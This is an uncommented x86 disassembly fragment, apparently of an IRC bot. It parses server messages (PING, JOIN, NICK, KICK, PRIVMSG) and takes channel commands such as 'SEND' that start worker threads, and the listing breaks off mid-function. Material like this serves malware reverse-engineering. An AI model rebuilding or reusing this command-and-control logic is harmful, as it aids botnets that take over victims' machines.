var_3CE4 = byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch Filename = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h Drive = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h Str1 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch Count = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h Dst = byte ptr -2C0h var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h SubStr = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h Args = byte ptr -8Ch Format = dword ptr -88h Str2 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Source = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h File = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call __alloca_probe push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_A4], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C4], ebx call _memset push 1Bh ; Count lea eax, [ebp+Str1] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 18h cmp [ebp+Src], ebx jz loc_402085 push esi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset dec esi lea eax, [ebp+Str] push esi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push offset SubStr ; " :" push eax ; Str call _strstr mov [ebp+var_C], eax lea eax, [ebp+Str] push esi ; Count push eax ; Source lea eax, [ebp+var_4AF0] push eax ; Dest call _strncpy lea eax, [ebp+var_4AF0] push offset Delim ; " " push eax ; Str call _strtok add esp, 34h mov [ebp+var_90], eax lea esi, [ebp+Args] push 1Fh pop edi loc_401D92: ; CODE XREF: sub_401CC7+DEj push offset asc_43FB90 ; " " push ebx ; Str call _strtok mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_401D92 mov esi, [ebp+var_90] cmp esi, ebx jz loc_402085 cmp dword ptr [ebp+Args], ebx jz loc_402085 push 100h ; Size lea eax, [ebp+var_960] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401DDF: ; CODE XREF: sub_401CC7+14Aj mov eax, [ecx] cmp eax, ebx jz short loc_401E0B cmp byte ptr [eax], 2Dh jnz short loc_401E13 cmp [eax+2], bl jnz short loc_401E13 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401E0B: ; CODE XREF: sub_401CC7+11Cj dec edx sub ecx, 4 cmp edx, ebx jge short loc_401DDF loc_401E13: ; CODE XREF: sub_401CC7+121j ; sub_401CC7+126j cmp [ebp+var_8ED], bl jz short loc_401E1E mov [ebp+var_8], edi loc_401E1E: ; CODE XREF: sub_401CC7+152j cmp [ebp+var_8F2], bl jz short loc_401E2C mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401E2C: ; CODE XREF: sub_401CC7+15Dj cmp byte ptr [esi], 0Ah jz short loc_401E66 push 7Fh ; Count lea eax, [ebp+var_E00] push esi ; Source push eax ; Dest call _strncpy lea eax, [esi+1] push 17h ; Count push eax ; Source lea eax, [ebp+var_C0] push eax ; Dest call _strncpy lea eax, [ebp+var_C0] push offset asc_43FB94 ; "!" push eax ; Str call _strtok add esp, 20h loc_401E66: ; CODE XREF: sub_401CC7+168j push esi ; Str2 push offset aPing ; "PING" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401EB7 push dword ptr [ebp+Args] ; Args mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] ; int call sub_409CEE mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401F5B push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409CEE add esp, 10h jmp loc_401F5B ; --------------------------------------------------------------------------- loc_401EB7: ; CODE XREF: sub_401CC7+1AEj mov esi, dword ptr [ebp+Args] push esi ; Str2 push offset a001 ; "001" call _strcmp pop ecx test eax, eax pop ecx jz loc_409CA2 push esi ; Str2 push offset a005 ; "005" call _strcmp pop ecx test eax, eax pop ecx jz loc_409CA2 push esi ; Str2 push offset a302_0 ; "302" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F1F push offset a@ ; "@" push [ebp+Str2] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_401F5B inc eax push 9Fh ; Count push eax ; Source push [ebp+arg_1C] ; Dest call _strncpy jmp short loc_401F58 ; --------------------------------------------------------------------------- loc_401F1F: ; CODE XREF: sub_401CC7+22Fj push esi ; Str2 push offset a433_0 ; "433" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F62 push ebx ; Str1 push dword_43F0A0 ; int push dword_43F09C ; int push [ebp+Source] ; Dest call sub_40B44F add esp, 10h push [ebp+Source] ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409CEE loc_401F58: ; CODE XREF: sub_401CC7+256j add esp, 0Ch loc_401F5B: ; CODE XREF: sub_401CC7+1CFj ; sub_401CC7+1EBj ... mov eax, edi jmp loc_402088 ; --------------------------------------------------------------------------- loc_401F62: ; CODE XREF: sub_401CC7+267j mov esi, [ebp+arg_18] mov [ebp+var_2C8], 3 mov edi, 80h loc_401F74: ; CODE XREF: sub_401CC7+2D2j lea eax, [ebp+var_E00] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F91 mov [ebp+var_A8], 1 loc_401F91: ; CODE XREF: sub_401CC7+2BEj add esi, edi dec [ebp+var_2C8] jnz short loc_401F74 mov esi, dword ptr [ebp+Args] push esi ; Str2 push offset aKick ; "KICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40208D mov esi, [ebp+arg_18] mov [ebp+File], 3 loc_401FC0: ; CODE XREF: sub_401CC7+389j cmp [esi], bl jz loc_40204B push 7Fh ; Count lea eax, [ebp+var_E00] push esi ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_C0] add esp, 0Ch test eax, eax jz short loc_40204B cmp [ebp+Str2], ebx jz short loc_40204B push [ebp+Str2] ; Str2 lea eax, [ebp+var_C0] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40204B lea eax, [ebp+var_C0] mov [esi], bl push eax lea eax, [ebp+Dst] push offset asc_43FC14 ; "-" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] ; int call sub_409CEE lea eax, [ebp+Dst] push eax call sub_415C3F add esp, 14h loc_40204B: ; CODE XREF: sub_401CC7+2FBj ; sub_401CC7+31Bj ... add esi, edi dec [ebp+File] jnz loc_401FC0 push [ebp+Str2] ; Str2 push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402085 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] ; Args mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_40207A: ; CODE XREF: sub_401CC7+60Aj ; sub_401CC7+8C0j ... push [ebp+arg_4] ; int call sub_409CEE loc_402082: ; CODE XREF: sub_401CC7+252Cj ; sub_401CC7+2549j ... add esp, 10h loc_402085: ; CODE XREF: sub_401CC7+5Bj ; sub_401CC7+E8j ... push 1 loc_402087: ; CODE XREF: sub_401CC7+2A52j pop eax loc_402088: ; CODE XREF: sub_401CC7+296j ; sub_401CC7+2A74j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40208D: ; CODE XREF: sub_401CC7+2E9j push esi ; Str2 push offset aNick ; "NICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4021E3 mov eax, [ebp+Format] mov esi, [ebp+arg_18] inc eax mov [ebp+Src], 3 mov [ebp+File], eax loc_4020B6: ; CODE XREF: sub_401CC7+441j lea eax, [ebp+var_E00] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402103 lea eax, [ebp+var_E00] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_402103 push [ebp+File] ; Source lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax ; Dest call _strcpy push [ebp+arg_1C] ; Source push edi ; Dest call _strcat add esp, 10h mov edi, 80h loc_402103: ; CODE XREF: sub_401CC7+400j ; sub_401CC7+417j add esi, edi dec [ebp+Src] jnz short loc_4020B6 lea eax, [ebp+var_C0] test eax, eax jz loc_402085 cmp [ebp+File], ebx jz loc_402085 push [ebp+Source] ; Str2 lea eax, [ebp+var_C0] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40214B push 0Fh ; Count push [ebp+File] ; Source push [ebp+Source] ; Dest call _strncpy loc_402143: ; CODE XREF: sub_401CC7+1C26j add esp, 0Ch jmp loc_402085 ; --------------------------------------------------------------------------- loc_40214B: ; CODE XREF: sub_401CC7+46Dj mov edi, [ebp+arg_18] xor esi, esi loc_402150: ; CODE XREF: sub_401CC7+4AAj cmp [edi], bl jz short loc_402167 lea eax, [ebp+var_E00] push eax ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_402178 loc_402167: ; CODE XREF: sub_401CC7+48Bj inc esi add edi, 80h cmp esi, 3 jl short loc_402150 jmp loc_402085 ; --------------------------------------------------------------------------- loc_402178: ; CODE XREF: sub_401CC7+49Ej lea eax, [ebp+var_E00] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+Src], eax jz loc_402085 push eax ; Str call _strlen push [ebp+File] ; Str mov edi, eax call _strlen add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_402085 push [ebp+Src] shl esi, 7 push [ebp+File] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_45EC] push ebx ; int push eax ; int push [ebp+arg_8] ; Str push [ebp+arg_4] ; int call sub_409D34 add esp, 24h jmp loc_402085 ; --------------------------------------------------------------------------- loc_4021E3: ; CODE XREF: sub_401CC7+3D5j push esi ; Str2 push offset aPart ; "PART" call _strcmp pop ecx test eax, eax pop ecx jz short loc_402205 push esi ; Str2 push offset aQuit ; "QUIT" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402232 loc_402205: ; CODE XREF: sub_401CC7+52Bj mov edi, [ebp+arg_18] xor esi, esi loc_40220A: ; CODE XREF: sub_401CC7+563j cmp [edi], bl jz short loc_402220 push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_402275 loc_402220: ; CODE XREF: sub_401CC7+545j inc esi add edi, 80h cmp esi, 3 jl short loc_40220A mov esi, dword ptr [ebp+Args] loc_402232: ; CODE XREF: sub_401CC7+53Cj push esi ; Str2 push offset a353 ; "353" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4022D6 push [ebp+var_80] ; Str2 push [ebp+arg_8] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402261 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_402261: ; CODE XREF: sub_401CC7+58Fj push [ebp+var_80] ; Args push offset asc_43FCB4 ; "-" loc_402269: ; CODE XREF: sub_401CC7+28BDj ; sub_401CC7+2C3Dj ... call sub_415CB3 loc_40226E: ; CODE XREF: sub_401CC7+1BD2j pop ecx loc_40226F: ; CODE XREF: sub_401CC7+7C37j pop ecx jmp loc_402085 ; --------------------------------------------------------------------------- loc_402275: ; CODE XREF: sub_401CC7+557j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dst] push offset asc_43FC74 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415C3F push dword ptr [ebp+Args] ; Str2 push offset aPart_0 ; "PART" call _strcmp add esp, 18h test eax, eax jnz loc_402085 lea eax, [ebp+Dst] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" jmp loc_40207A ; --------------------------------------------------------------------------- loc_4022D6: ; CODE XREF: sub_401CC7+57Aj push esi ; Str2 push offset aPrivmsg ; "PRIVMSG" call _strcmp pop ecx test eax, eax pop ecx jz short loc_402319 push esi ; Str2 push offset aNotice ; "NOTICE" call _strcmp pop ecx test eax, eax pop ecx jz short loc_402319 push esi ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409B16 cmp dword_43F088, ebx jz loc_409B16 loc_402319: ; CODE XREF: sub_401CC7+61Ej ; sub_401CC7+62Fj push esi ; Str2 push offset aPrivmsg_0 ; "PRIVMSG" call _strcmp pop ecx test eax, eax pop ecx jz loc_4024A9 push esi ; Str2 push offset aNotice_0 ; "NOTICE" call _strcmp pop ecx test eax, eax pop ecx jz loc_4024A9 mov eax, [ebp+Str2] inc [ebp+var_80] mov [ebp+var_A4], 4 mov [ebp+Format], eax loc_40235C: ; CODE XREF: sub_401CC7+89Ej ; sub_401CC7+8D4j ... mov eax, [ebp+var_A4] mov esi, eax shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax ; Str2 push offset dword_43FD4C ; Str1 mov [ebp+arg_8], eax call _strcmp pop ecx test eax, eax pop ecx jnz loc_402739 push dword ptr [ebp+esi+Args] ; Str2 push offset aSend ; "SEND" call _strcmp pop ecx test eax, eax pop ecx jnz loc_402600 cmp [ebp+var_A8], ebx jz loc_4025D9 push [ebp+esi+Format] lea eax, [ebp+var_1B80] push offset aS ; "%s" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+Str2] push offset aS_0 ; "%s" push eax ; Dest call _sprintf push [ebp+esi+var_80] ; Str call _atoi mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C0] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_1A7C] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+Dst] push offset asc_43FD64 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_40B756 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset sub_416D25 push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_45602C[ecx], eax jz loc_4025C8 loc_402493: ; CODE XREF: sub_401CC7+7E0j cmp [ebp+var_19EC], ebx jnz loc_408637 push 32h call ds:dword_4F534C ; Sleep jmp short loc_402493 ; --------------------------------------------------------------------------- loc_4024A9: ; CODE XREF: sub_401CC7+661j ; sub_401CC7+676j push esi ; Str2 push offset aNotice_1 ; "NOTICE" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4024C1 mov [ebp+var_4], 1 loc_4024C1: ; CODE XREF: sub_401CC7+7F1j mov edi, [ebp+Format] cmp edi, ebx jz loc_402085 push offset asc_43FD00 ; "#" push edi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4024E5 cmp [ebp+var_4], ebx jz short loc_4024F1 loc_4024E5: ; CODE XREF: sub_401CC7+817j lea edi, [ebp+var_C0] mov [ebp+Format], edi loc_4024F1: ; CODE XREF: sub_401CC7+81Cj cmp [ebp+Str2], ebx jz loc_402085 inc [ebp+Str2] jz short loc_40253B cmp [ebp+Source], ebx jz short loc_40253B lea eax, [ebp+Str1] push eax ; Str call _strlen push eax ; MaxCount lea eax, [ebp+Str1] push [ebp+Str2] ; Str2 push eax ; Str1 call _strncmp add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A4], eax jmp short loc_402541 ; --------------------------------------------------------------------------- loc_40253B: ; CODE XREF: sub_401CC7+83Cj ; sub_401CC7+841j mov eax, [ebp+var_A4] loc_402541: ; CODE XREF: sub_401CC7+872j shl eax, 2 mov [ebp+arg_8], eax mov esi, [ebp+eax+var_90] cmp esi, ebx jz loc_402085 push esi ; Str2 push offset dword_43FD04 ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40235C cmp byte ptr [edi], 23h jz short loc_40258C mov eax, dword_4E2F8C mov eax, off_43F15C[eax*4] cmp [eax], bl jz short loc_40258C push eax push edi push offset dword_43FD10 jmp loc_40207A ; --------------------------------------------------------------------------- loc_40258C: ; CODE XREF: sub_401CC7+8A7j ; sub_401CC7+8B7j push esi ; Str2 push offset dword_43FD2C ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_40235C mov eax, [ebp+arg_8] mov eax, dword ptr [ebp+eax+Args] cmp eax, ebx jz loc_40235C cmp byte ptr [edi], 23h jz loc_40235C push eax push edi push offset dword_43FD34 jmp loc_40207A ; --------------------------------------------------------------------------- loc_4025C8: ; CODE XREF: sub_401CC7+7C6j call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_43FD94 jmp loc_408628 ; --------------------------------------------------------------------------- loc_4025D9: ; CODE XREF: sub_401CC7+6E7j lea eax, [ebp+var_C0] push eax push [ebp+esi+Format] push offset asc_43FDD0 ; "-" loc_4025EC: ; CODE XREF: sub_401CC7+7EF1j ; sub_401CC7+7F58j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h jmp loc_408637 ; --------------------------------------------------------------------------- loc_402600: ; 